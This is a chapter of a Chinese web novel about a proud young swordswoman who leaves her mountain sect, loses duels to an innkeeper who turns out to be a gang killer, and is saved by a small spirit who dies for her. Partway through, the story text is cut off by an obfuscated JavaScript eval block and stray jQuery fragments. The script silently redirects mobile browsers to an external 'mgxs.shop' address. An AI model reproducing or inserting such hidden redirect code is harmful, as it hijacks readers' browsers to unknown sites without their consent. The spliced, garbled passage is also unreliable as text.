文趣网 > 都市小说 > 卡皮巴拉,专治不开心! > 17.520小段子[番外]
    “此去山下,行路凶险,性命要紧,道义更要紧,切莫为凡俗之事,丢掉你心中的道。”

    “父亲的一番话,女儿当谨记。”

    少年剑客段琅然下山时,整个宗门都对她赞许有加。

    作为长老之女,她不仅天资卓绝,还勤学苦练,比同辈的子弟功夫高出不少。

    不仅如此,她还有一手好医术,虽不能活死人肉白骨,却也能妙手回春。按照山里前辈所说,她就是去山下开个医馆当郎中,都绝不在话下。

    但是这孩子有一点不好,便是心气太高。

    年轻人有志向是好事,志向大过天却极容易产生危险。古往今来多少年少成名的天才剑客,都是因为心高气傲,最后不是受挫断了习武之路,便是心气太高成了执念,最后走火入魔。

    “也不知道那个丫头,最后会变成什么样子啊......”

    长老们平日里喜欢她,在听说她要下山之后,也免不得会发出这样的感叹。

    十七岁的段琅然其实并不知道自己的“道”是什么。从小作为宗门圣女,众星捧月一般长大,该学的招式她都能学得很快。

    可每当她询问父亲自己何时能下山游历,父亲总是会摇头,仿佛她学的一身功夫本事,都如同废纸一样毫无作用。

    “爹,你教我的功夫,都是没用的吗?”

    中年人“哈哈”笑着捋了捋胡须:“为什么会这么想呢?”

    “我的功夫在同辈中几乎无敌手,您却始终告诉我,我下山还为时过早,这是为何?”

    男人听到这话,眼神复杂:“琅然,山下的事,不是你会功夫就能行得通的。许多事情很复杂,和你在山里时大不相同。我不叫你下山,并非是你的功夫不到家,是你年纪太小啦。”

    “那我究竟要道什么时候才能下山?”

    “哈哈,这个嘛......要等你岁数再长一些。千万不要以为下山游历是叫你去游玩,那是让你领悟自己的‘道’在何处。”

    所以“道”究竟是什么呢?

    古书上说,剑士的道,就是一生钻研至极的剑法。

    段琅然自认为钻研了十余年的剑术,这已然能算是她的“道”。

    但是如果这样,她岂非在山上静心修炼便能悟道,又为何还要下山游历呢?

    初入世间的段琅然在山间小憩时,遇见一只小妖精。

    “你是何方来的妖精?”

    小妖精瘪着嘴:“这位道友,我是神兽。”

    “哦......你是何方的神圣?”

    小神兽得意洋洋:“我可是九天之上的貔貅,你可曾听说过?”

    段琅然一点点靠近:“那既如你所说,你是活在九天之上的,又为何落入这凡间,在这山林里苟活?”

    小神兽哑巴了。

    “你根本就是骗人吧!其实你就是妖精!哪有神兽身上的灵力这么微弱的!”

    它以为段琅然没有见过神兽吗?真正的神兽都比这小家伙厉害多了!

    “好吧,被你发现了。”小妖精不高兴地摇摇尾巴,“我就是妖精。但我虽是妖精,我也是很厉害的,你这样的,未必打得过我!”

    “哟......”段琅然最喜欢敢于挑战她的人,“来比试比试啊。”

    “比就比!”

    夜幕笼罩山林,被打趴下的小妖精趴在竹子边直喘气。

    “你怎么这么厉害!”

    段琅然拍了拍身上的灰,把剑收起来。

    她做出一副衣角微脏的架势:“是你要跟我比的。”

    小妖精不服气地憋起了坏主意:“你......哼!的告诉你,打倒我可不算厉害,有本事,你去山下,打那个甲乙丙丁酒馆的老板,你能打过他,那才叫厉害呢!”

    “哟......”段琅然一脸嫌弃,“自己打不过,就只会摇人?不过这个酒馆也真是的,起的什么破名字啊,甲乙丙丁......说出去要笑掉大牙的吧!”

    “天干地支起名,怎么了嘛。”

    “好,我去会会他。话说,你叫什么名字?我总不能把你打趴下了,连我手下败将叫什么名字都不知道吧?”

    小妖精瞪着她,半晌,恼羞成怒:“哼!你们人类真是卑鄙!我叫程小满,前程的程,小满节气的小满。”

    “你这个名字还算不错,那我也来告诉你我的名字吧。我叫段琅然,山上段家你知道吗?我就是那家的女儿。”段琅然拍了拍胸脯,颇为自信。

    “切,不就是段家嘛......”程小满嘟嘟囔囔道。

    “什么叫不就是?我爹功夫可比我厉害多了,你连我都打不过,要是碰上我爹,你直接,”她做了个抹脖子的姿势,“你直接这样了知道吗!”

    段琅然对自己的剑术有绝对的自信,既然程小满提到了那个老板,她必然要前去挑战一番。

    去的路上她还在心中嘀咕着,这老板真有这么厉害吗?

    虽说高手在民间,但民间这些高手毕竟都是野路子出来的,没接受过正统的武修培养,功夫真能有那么高?

    老板见到她,表情惊讶:“你就是那位段家女?久仰久仰。”

    段琅然抱拳:“不才段琅然,段家幼女,敢问老板尊姓大名。”

    对面老板也抱拳回礼:“小的姓朱,家中排行老六,您管我叫朱老六就成。”

    语毕,段琅然便把手放在剑上:“朱先生,那我便不客气了。”

    没想到这位朱先生笑了笑,连武器都没拿,只虚虚起了个手势。

    段琅然一见此等情景便不乐意了:“先生若是不愿与我比试,大可以直接告知,不必如此消极......呃!”

    她猝不及防地被朱老板打了一掌,力道不大,显然没冲着要她命来。

    但速度快到她根本看不清。等段琅然反应过来,感到痛的时候,朱老板早就笑呵呵地站在原地,一幅无事发生的样子。

    段琅然不服气:“再来!”

    这回,她没闲聊,凝神聚气,专注盯着朱老板的动作。

    只是看到对面稍有一些要出手的迹象,她便利落地出剑。

    “看剑!”

    一套连招行云流水,剑尖稳得不像话,干脆利落,可以称得上是这套剑招的典范动作。

    段琅然练这一套练了十年,无论是力度还是出手速度,她都有绝对的把握。

    可等她使完这一整套连招,却见到对面的朱老板全都精准地躲掉,身上没被剑伤到一点皮毛。

    段琅然错愕不已,难以置信地盯着朱先生看。

    “再来!”

    朱先生点头:“您想来多少次,小的都没意见。”

    不知打了多少个回合,段琅然大口喘着气,手上的剑也因为脱了力气,掉在地上。

    “这不可能......不可能......”

    “我的功夫都是自己摸索出来的,怕是那成套的招式很难破解。”

    段琅然气喘吁吁地朝朱老板喊:“现在破不了,那我就在这里破十年,十年不够就二十年!这世上没有我段琅然做不到的事!”

    朱老板笑了笑:“姑娘,你的一身功夫,浪费在挑战我身上没意思。这人间疾苦,您不如去看看人间。这一身功夫,能做的事情可多着呢。”

    “你这是什么意思?”

    朱老板摇摇头,叹了口气:“不瞒您说,山下在打仗,已经打了数月了。我祖辈就是因为战火躲到了山上。您去了,或许能保护百姓,帮他们做些事情呢。”

    段琅然低头,沉默良久。

    她最终还是妥协,去山下看了战火。

    程小满不知道什么时候跟上来的,像是狗皮膏药一般,甩都甩不掉。

    “你没打过他吧。”

    “笑话我有意思吗?”

    程小满阴阳怪气:“你那么厉害,我以为你能打过呢......”

    “别废话了,东边来人了,走,一起应付一下。”

    战火真是个磨人的东西,不过数月,段琅然就觉得自己当初无法无天的心性被磨去了一半。

    夜晚,她抱着程小满,靠在小院角落里的一棵大树下。

    “你说,这仗要打到什么时候啊......”

    程小满想了想:“听说是地方动乱,想来不用打很久吧。”

    “是啊,可这天下有何时是一应无事,全然太平的?成日不是这处叛乱,便是那处打仗,最后都是百姓在遭罪。”

    她这一天给七位百姓治了伤,给一位产妇接生了孩子,还拦下了一队强抢民女。

    那差点入虎穴狼窝的姑娘,如今就

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17542117|203913||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    在这个小院子的后院住着。

    “世道不平,我们又能做什么。”

    “你说,世道究竟是什么呢?”

    程小满摇摇头:“我也不知道。”

    下山后的一年里,段琅然做的事情都和她原先设想的修炼剑术完全无关。

    她不是在救治战火中的伤者,就是在拦着军队和恶霸做恶事。

    大多时候,那些恶霸只稍微一吓唬,就吓跑了,根本不需要她出手和对方打。

    山上和山下的世界,究竟是不同的......

    “你的道又是什么呢?”

    耳边忽然响起父亲的问题,让段琅然从梦中惊醒。

    她摸索着床榻两侧,有些空落落的。

    程小满不见了。

    最后一次见到程小满,是在暗巷中。

    一个蒙面人捆着那小妖精,看着段琅然一步步走近。

    段琅然身上带着纸条,是那绑架的歹徒留下的。

    “你究竟是什么人?”

    蒙面人笑着,把脸上的黑纱解下,段琅然心下一凉。

    “许久不见啊,段姑娘。”

    “朱老板,您......”

    “抱歉,当日我向您隐瞒了我的身份,今日不得不告知了。”他话语里都是歉意,脸上却看不出分毫,“我是青龙帮的人,上头的老大说啊,您截胡了她喜欢的女人,叫我来杀了你灭口。”

    “你......”

    段琅然不知道心中是震惊更多还是失望更多。

    她原本是那样敬重这位武学大师,甚至隐隐在以打败她作为自己的目标。

    而他却摘下面具说,自己其实一直在用武学行恶。

    段琅然毫不意外地还是打不过他。

    而这一次朱老板并没有留一手,每一招都是奔着要段琅然的命去,段琅然身上不知道受了多少内外的伤,喉咙里吐出的鲜血也根本停不下来。

    她头脑眩晕,眼前景象渐渐模糊。

    她似乎扔掉了剑,她似乎倒在了地上。

    接下来会发生什么呢?

    她会死吧。

    会死的吧。

    在这一刻,她意外地觉得,自己好像找到要走的“道”了。

    只可惜,她没有机会去追寻这个“道”了。

    “段琅然!段琅然!你不要死!”

    意识微弱之时,一声尖锐的叫喊把她唤醒。

    不远处的程小满撕心裂肺地喊她的名字。

    段琅然勉强睁开眼睛,就见到小妖精挣脱开绳子,飞一样地朝她跑来,挡住了朱老板的致命一掌。

    那一掌的灵力波动极大,段琅然被震得几乎立刻昏死过去。

    再次醒来时,她在一个陌生的医馆里。

    郎中见到她醒了,喜出望外:“姑娘,您终于醒了,真是担心死我们了。”

    “这是哪......”

    “姑娘不必担心,我们是您父亲派来的人。”

    “现在是什么时候了。”她觉得自己一觉像是睡了半辈子一样长。

    “您昏睡了五天五夜。”

    段琅然想起了什么:“程小满呢?那只小妖精呢?”

    “哪......呃,您要找它啊。”

    段琅然急得坐起来:“就是,就是这么大,这么大,尾巴长长的像耗子一样的,你们见到了吗?你们肯定见到了吧!”

    “他死了。”

    “什么?”段琅然觉得自己一定是耳朵出问题了。

    郎中低头:“姑娘,他死了。”

    “死了......什么叫死了。”

    “她为了护住您,和哪姓朱的一命换一命了。”

    段琅然茫然地把头靠在墙壁上,全然不顾后脑勺的刺痛。

    她回想起以前的事,想着想着,忽然大笑起来。

    “那你要回山上吗?”

    “不了,我留在山下吧。”

    “即便这样了也要留下吗?”

    段琅然笑了:“我找到我的道了。”

    每年的清明,她都会去同一座山林深处,祭拜一座小小的坟墓。

    直到日月变幻,星辰流转,年岁流走不知道多少,山林深处又出现了一只小妖精。

    “你叫什么名字,我好像见过你。”